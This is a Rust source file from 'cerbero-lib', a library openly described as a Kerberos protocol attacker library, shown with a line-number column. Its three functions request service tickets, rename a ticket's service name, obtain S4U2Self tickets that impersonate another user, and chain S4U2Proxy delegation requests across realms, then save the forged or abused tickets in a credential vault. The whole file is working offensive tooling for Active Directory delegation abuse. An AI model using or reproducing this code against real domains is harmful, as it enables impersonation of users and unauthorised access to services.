cerbero-lib 0.1.1

Kerberos protocol attacker library
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

use crate::{
	communication::KdcComm,
	core::{
		forge::new_nt_srv_inst,
		CredFormat, KrbUser, Vault,
		{get_impersonation_ticket, get_user_tgt, request_regular_tgs, request_s4u2self_tgs, request_tgs, S4u},
	},
	error::Result,
};
use kerberos_crypto::Key;

/// Main function to request a new TGS for a user for the selected service
pub fn ask_tgs(user: KrbUser,
               service: String,
               rename_service: Option<String>,
               user_key: Option<&Key>,
               cred_format: CredFormat,
               vault: &mut dyn Vault,
               mut kdccomm: KdcComm)
               -> Result<()>
{
	let channel = kdccomm.create_channel(&user.realm)?;

	let tgt = get_user_tgt(user.clone(), user_key, None, vault, &*channel)?;

	let mut tgs = request_regular_tgs(user.clone(), new_nt_srv_inst(&service), tgt, None, &mut kdccomm)?;

	if let Some(rename_service) = rename_service
	{
		tgs.change_sname(new_nt_srv_inst(&rename_service));
	}

	vault.add(tgs)?;

	vault.change_format(cred_format)?;
	Ok(())
}

/// Main function to perform an S4U2Self operation
pub fn ask_s4u2self(user: KrbUser,
                    impersonate_user: KrbUser,
                    user_service: Option<String>,
                    vault: &mut dyn Vault,
                    user_key: Option<&Key>,
                    cred_format: CredFormat,
                    mut kdccomm: KdcComm)
                    -> Result<()>
{
	let channel = kdccomm.create_channel(&user.realm)?;

	let tgt = get_user_tgt(user.clone(), user_key, None, vault, &*channel)?;

	let s4u2self_tgs = request_s4u2self_tgs(user.clone(), impersonate_user.clone(), user_service, tgt, &mut kdccomm)?;

	vault.add(s4u2self_tgs.clone())?;
	vault.change_format(cred_format)?;

	Ok(())
}

/// Main function to perform an S4U2Proxy operation
pub fn ask_s4u2proxy(user: KrbUser,
                     impersonate_user: KrbUser,
                     service: String,
                     user_service: Option<String>,
                     rename_service: Option<String>,
                     vault: &mut dyn Vault,
                     user_key: Option<&Key>,
                     cred_format: CredFormat,
                     mut kdccomm: KdcComm)
                     -> Result<()>
{
	let channel = kdccomm.create_channel(&user.realm)?;

	let tgt = get_user_tgt(user.clone(), user_key, None, vault, &*channel)?;

	let s4u2self_tgs = get_impersonation_ticket(
	                                            user.clone(),
	                                            impersonate_user.clone(),
	                                            user_service,
	                                            tgt.clone(),
	                                            vault,
	                                            &mut kdccomm,
	)?;

	let mut dst_realm = user.realm.clone();
	let mut tgs_proxy = request_tgs(
	                                user.clone(),
	                                dst_realm.clone(),
	                                tgt.clone(),
	                                S4u::S4u2proxy(s4u2self_tgs.ticket.clone(), service.clone()),
	                                None,
	                                &*channel,
	)?;

	if tgs_proxy.is_tgt() && !tgs_proxy.is_tgt_for_realm(&dst_realm)
	{
		dst_realm = tgs_proxy.service_host().ok_or("Unable to get the inter-realm TGT domain")?.clone();

		let inter_tgt = request_regular_tgs(
		                                    user.clone(),
		                                    new_nt_srv_inst(&format!("krbtgt/{}", dst_realm)),
		                                    tgt.clone(),
		                                    None,
		                                    &mut kdccomm,
		)?;

		let channel = kdccomm.create_channel(&dst_realm)?;

		tgs_proxy = request_tgs(
		                        user.clone(),
		                        dst_realm,
		                        inter_tgt.clone(),
		                        S4u::S4u2proxy(tgs_proxy.ticket, service.clone()),
		                        None,
		                        &*channel,
		)?;
	}

	if let Some(rename_service) = rename_service
	{
		tgs_proxy.change_sname(new_nt_srv_inst(&rename_service));
	}

	vault.add(tgs_proxy)?;
	vault.change_format(cred_format)?;

	Ok(())
}